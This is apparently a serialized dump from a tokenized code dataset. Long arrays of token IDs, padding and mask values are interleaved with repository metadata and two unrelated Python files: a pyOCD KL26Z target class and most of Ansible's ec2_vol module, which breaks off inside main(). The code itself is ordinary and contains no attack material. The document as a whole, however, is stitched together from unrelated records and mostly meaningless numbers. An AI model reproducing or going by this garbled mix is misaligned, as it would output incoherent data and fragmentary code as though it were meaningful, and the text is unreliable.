2043, 446, 2366, 19, 13, 6182, 334, 1548, 650, 9, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 2654, 2013, 7611, 1901, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 3451, 199, 199, 3, 2654, 2013, 7611, 1901, 5274, 769, 1808, 2013, 1788, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 5030, 14, 3098, 14, 957, 15, 5135, 15, 9887, 15, 16762, 15, 17830, 2446, 272, 1174, 26, 3451, 272, 1788, 26, 283, 3098, 13, 9887, 7, 199, 199, 3, 2654, 1350, 7611, 1901, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 13, 2164, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 3451, 199, 199, 3, 5852, 2013, 7611, 687, 5274, 769, 14, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 32610, 1455, 921, 6404, 14, 13109, 14, 957, 15, 21151, 7508, 89, 5854, 272, 1174, 26, 9552, 199, 199, 3, 2654, 302, 19101, 17830, 7611, 687, 510, 8470, 436, 3907, 2399, 18057, 790, 14, 199, 3, 4068, 31631, 1347, 26, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 283, 80, 387, 26, 25826, 15, 11989, 7, 199, 199, 3, 4068, 30445, 1347, 199, 13, 20932, 63, 8421, 26, 272, 3831, 26, 283, 80, 387, 26, 25826, 15, 11989, 7, 272, 29754, 26, 283, 15756, 89, 7, 199, 2344, 199, 199, 646, 5739, 199, 646, 747, 199, 646, 295, 199, 646, 984, 199, 646, 5549, 199, 199, 893, 26, 272, 492, 20932, 272, 492, 20932, 63, 4600, 272, 492, 20932, 4553, 14, 18371, 465, 20932, 4553, 63, 18371, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
c1728p9/pyOCD
pyOCD/target/target_kl26z.py
5
1070
""" mbed CMSIS-DAP debugger Copyright (c) 2006-2013 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from target_kinetis import Kinetis from .memory_map import (FlashRegion, RamRegion, MemoryMap) import logging class KL26Z(Kinetis): memoryMap = MemoryMap( FlashRegion( start=0, length=0x20000, blocksize=0x400, isBootMemory=True), RamRegion( start=0x1ffff000, length=0x4000) ) def __init__(self, transport): super(KL26Z, self).__init__(transport, self.memoryMap) self.mdm_idr = 0x001c0020
apache-2.0
[ 624, 199, 333, 6123, 29554, 1311, 13, 36, 1282, 14958, 199, 1898, 334, 67, 9, 8315, 13, 6965, 27155, 23954, 421, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 10813, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 421, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 4204, 1334, 314, 844, 14, 199, 624, 199, 199, 504, 1347, 63, 75, 1132, 16753, 492, 1804, 1132, 16753, 199, 504, 1275, 4844, 63, 1130, 492, 334, 29189, 10708, 12, 820, 455, 10708, 12, 15825, 2956, 9, 199, 646, 2050, 421, 199, 533, 1804, 44, 1479, 58, 8, 43, 1132, 16753, 304, 339, 4402, 2956, 275, 15825, 2956, 8, 267, 11040, 1119, 10708, 8, 259, 1343, 29, 16, 12, 3698, 2582, 29, 16, 88, 27140, 12, 420, 27461, 29, 16, 88, 5303, 12, 365, 17989, 8628, 29, 549, 395, 267, 820, 455, 10708, 8, 420, 1343, 29, 16, 88, 17, 4717, 1493, 12, 221, 2582, 29, 16, 88, 23641, 9, 267, 776, 339, 347, 636, 826, 721, 277, 12, 7773, 304, 267, 1613, 8, 14307, 1479, 58, 12, 291, 2843, 826, 721, 5545, 12, 291, 14, 4844, 2956, 9, 267, 291, 14, 1064, 77, 63, 344, 82, 275, 378, 88, 4587, 67, 20734, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 333, 6123, 29554, 1311, 13, 36, 1282, 14958, 199, 1898, 334, 67, 9, 8315, 13, 6965, 27155, 23954, 421, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 10813, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 421, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 4204, 1334, 314, 844, 14, 199, 624, 199, 199, 504, 1347, 63, 75, 1132, 16753, 492, 1804, 1132, 16753, 199, 504, 1275, 4844, 63, 1130, 492, 334, 29189, 10708, 12, 820, 455, 10708, 12, 15825, 2956, 9, 199, 646, 2050, 421, 199, 533, 1804, 44, 1479, 58, 8, 43, 1132, 16753, 304, 339, 4402, 2956, 275, 15825, 2956, 8, 267, 11040, 1119, 10708, 8, 259, 1343, 29, 16, 12, 3698, 2582, 29, 16, 88, 27140, 12, 420, 27461, 29, 16, 88, 5303, 12, 365, 17989, 8628, 29, 549, 395, 267, 820, 455, 10708, 8, 420, 1343, 29, 16, 88, 17, 4717, 1493, 12, 221, 2582, 29, 16, 88, 23641, 9, 267, 776, 339, 347, 636, 826, 721, 277, 12, 7773, 304, 267, 1613, 8, 14307, 1479, 58, 12, 291, 2843, 826, 721, 5545, 12, 291, 14, 4844, 2956, 9, 267, 291, 14, 1064, 77, 63, 344, 82, 275, 378, 88, 4587, 67, 20734, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sebi-hgdata/ansible-modules-core
cloud/amazon/ec2_vol.py
17
15303
#!/usr/bin/python # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. DOCUMENTATION = ''' --- module: ec2_vol short_description: create and attach a volume, return volume id and device map description: - creates an EBS volume and optionally attaches it to an instance. If both an instance ID and a device name is given and the instance has a device at the device name, then no volume is created and no attachment is made. This module has a dependency on python-boto. version_added: "1.1" options: instance: description: - instance ID if you wish to attach the volume. Since 1.9 you can set to None to detach. required: false default: null aliases: [] name: description: - volume Name tag if you wish to attach an existing volume (requires instance) required: false default: null aliases: [] version_added: "1.6" id: description: - volume id if you wish to attach an existing volume (requires instance) or remove an existing volume required: false default: null aliases: [] version_added: "1.6" volume_size: description: - size of volume (in GB) to create. required: false default: null aliases: [] volume_type: description: - Type of EBS volume; standard (magnetic), gp2 (SSD), io1 (Provisioned IOPS). "Standard" is the old EBS default and continues to remain the Ansible default for backwards compatibility. required: false default: standard aliases: [] version_added: "1.9" iops: description: - the provisioned IOPs you want to associate with this volume (integer). required: false default: 100 aliases: [] version_added: "1.3" encrypted: description: - Enable encryption at rest for this volume. default: false version_added: "1.8" device_name: description: - device id to override device mapping. Assumes /dev/sdf for Linux/UNIX and /dev/xvdf for Windows. required: false default: null aliases: [] region: description: - The AWS region to use. If not specified then the value of the EC2_REGION environment variable, if any, is used. required: false default: null aliases: ['aws_region', 'ec2_region'] zone: description: - zone in which to create the volume, if unset uses the zone the instance is in (if set) required: false default: null aliases: ['aws_zone', 'ec2_zone'] snapshot: description: - snapshot ID on which to base the volume required: false default: null version_added: "1.5" validate_certs: description: - When set to "no", SSL certificates will not be validated for boto versions >= 2.6.0. required: false default: "yes" choices: ["yes", "no"] aliases: [] version_added: "1.5" state: description: - whether to ensure the volume is present or absent, or to list existing volumes (The C(list) option was added in version 1.8). required: false default: present choices: ['absent', 'present', 'list'] version_added: "1.6" author: "Lester Wade (@lwade)" extends_documentation_fragment: aws ''' EXAMPLES = ''' # Simple attachment action - ec2_vol: instance: XXXXXX volume_size: 5 device_name: sdd # Example using custom iops params - ec2_vol: instance: XXXXXX volume_size: 5 iops: 200 device_name: sdd # Example using snapshot id - ec2_vol: instance: XXXXXX snapshot: "{{ snapshot }}" # Playbook example combined with instance launch - ec2: keypair: "{{ keypair }}" image: "{{ image }}" wait: yes count: 3 register: ec2 - ec2_vol: instance: "{{ item.id }} " volume_size: 5 with_items: ec2.instances register: ec2_vol # Example: Launch an instance and then add a volume if not already attached # * Volume will be created with the given name if not already created. # * Nothing will happen if the volume is already attached. - ec2: keypair: "{{ keypair }}" image: "{{ image }}" zone: YYYYYY id: my_instance wait: yes count: 1 register: ec2 - ec2_vol: instance: "{{ item.id }}" name: my_existing_volume_Name_tag device_name: /dev/xvdf with_items: ec2.instances register: ec2_vol # Remove a volume - ec2_vol: id: vol-XXXXXXXX state: absent # Detach a volume (since 1.9) - ec2_vol: id: vol-XXXXXXXX instance: None # List volumes for an instance - ec2_vol: instance: i-XXXXXX state: list # Create new volume using SSD storage - ec2_vol: instance: XXXXXX volume_size: 50 volume_type: gp2 device_name: /dev/xvdf ''' import time from distutils.version import LooseVersion try: import boto.ec2 HAS_BOTO = True except ImportError: HAS_BOTO = False def get_volume(module, ec2): name = module.params.get('name') id = module.params.get('id') zone = module.params.get('zone') filters = {} volume_ids = None if zone: filters['availability_zone'] = zone if name: filters = {'tag:Name': name} if id: volume_ids = [id] try: vols = ec2.get_all_volumes(volume_ids=volume_ids, filters=filters) except boto.exception.BotoServerError, e: module.fail_json(msg = "%s: %s" % (e.error_code, e.error_message)) if not vols: if id: msg = "Could not find the volume with id: %s" % id if name: msg += (" and name: %s" % name) module.fail_json(msg=msg) else: return None if len(vols) > 1: module.fail_json(msg="Found more than one volume in zone (if specified) with name: %s" % name) return vols[0] def get_volumes(module, ec2): instance = module.params.get('instance') if not instance: module.fail_json(msg = "Instance must be specified to get volumes") try: vols = ec2.get_all_volumes(filters={'attachment.instance-id': instance}) except boto.exception.BotoServerError, e: module.fail_json(msg = "%s: %s" % (e.error_code, e.error_message)) return vols def delete_volume(module, ec2): volume_id = module.params['id'] try: ec2.delete_volume(volume_id) module.exit_json(changed=True) except boto.exception.EC2ResponseError as ec2_error: if ec2_error.code == 'InvalidVolume.NotFound': module.exit_json(changed=False) module.fail_json(msg=ec2_error.message) def boto_supports_volume_encryption(): """ Check if Boto library supports encryption of EBS volumes (added in 2.29.0) Returns: True if boto library has the named param as an argument on the request_spot_instances method, else False """ return hasattr(boto, 'Version') and LooseVersion(boto.Version) >= LooseVersion('2.29.0') def create_volume(module, ec2, zone): name = module.params.get('name') id = module.params.get('id') instance = module.params.get('instance') iops = module.params.get('iops') encrypted = module.params.get('encrypted') volume_size = module.params.get('volume_size') volume_type = module.params.get('volume_type') snapshot = module.params.get('snapshot') # If custom iops is defined we use volume_type "io1" rather than the default of "standard" if iops: volume_type = 'io1' if instance == 'None' or instance == '': instance = None volume = get_volume(module, ec2) if volume: if volume.attachment_state() is not None: if instance is None: return volume adata = volume.attach_data if adata.instance_id != instance: module.fail_json(msg = "Volume %s is already attached to another instance: %s" % (name or id, adata.instance_id)) else: module.exit_json(msg="Volume %s is already mapped on instance %s: %s" % (name or id, adata.instance_id, adata.device), volume_id=id, device=adata.device, changed=False) else: try: if boto_supports_volume_encryption(): volume = ec2.create_volume(volume_size, zone, snapshot, volume_type, iops, encrypted) else: volume = ec2.create_volume(volume_size, zone, snapshot, volume_type, iops) while volume.status != 'available': time.sleep(3) volume.update() if name: ec2.create_tags([volume.id], {"Name": name}) except boto.exception.BotoServerError, e: module.fail_json(msg = "%s: %s" % (e.error_code, e.error_message)) return volume def attach_volume(module, ec2, volume, instance): device_name = module.params.get('device_name') if device_name and instance: try: attach = volume.attach(instance.id, device_name) while volume.attachment_state() != 'attached': time.sleep(3) volume.update() except boto.exception.BotoServerError, e: module.fail_json(msg = "%s: %s" % (e.error_code, e.error_message)) # If device_name isn't set, make a choice based on best practices here: # http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html # In future this needs to be more dynamic but combining block device mapping best practices # (bounds for devices, as above) with instance.block_device_mapping data would be tricky. For me ;) # Use password data attribute to tell whether the instance is Windows or Linux if device_name is None and instance: try: if not ec2.get_password_data(instance.id): device_name = '/dev/sdf' attach = volume.attach(instance.id, device_name) while volume.attachment_state() != 'attached': time.sleep(3) volume.update() else: device_name = '/dev/xvdf' attach = volume.attach(instance.id, device_name) while volume.attachment_state() != 'attached': time.sleep(3) volume.update() except boto.exception.BotoServerError, e: module.fail_json(msg = "%s: %s" % (e.error_code, e.error_message)) def detach_volume(module, ec2): vol = get_volume(module, ec2) if not vol or vol.attachment_state() is None: module.exit_json(changed=False) else: vol.detach() module.exit_json(changed=True) def main(): argument_spec = ec2_argument_spec() 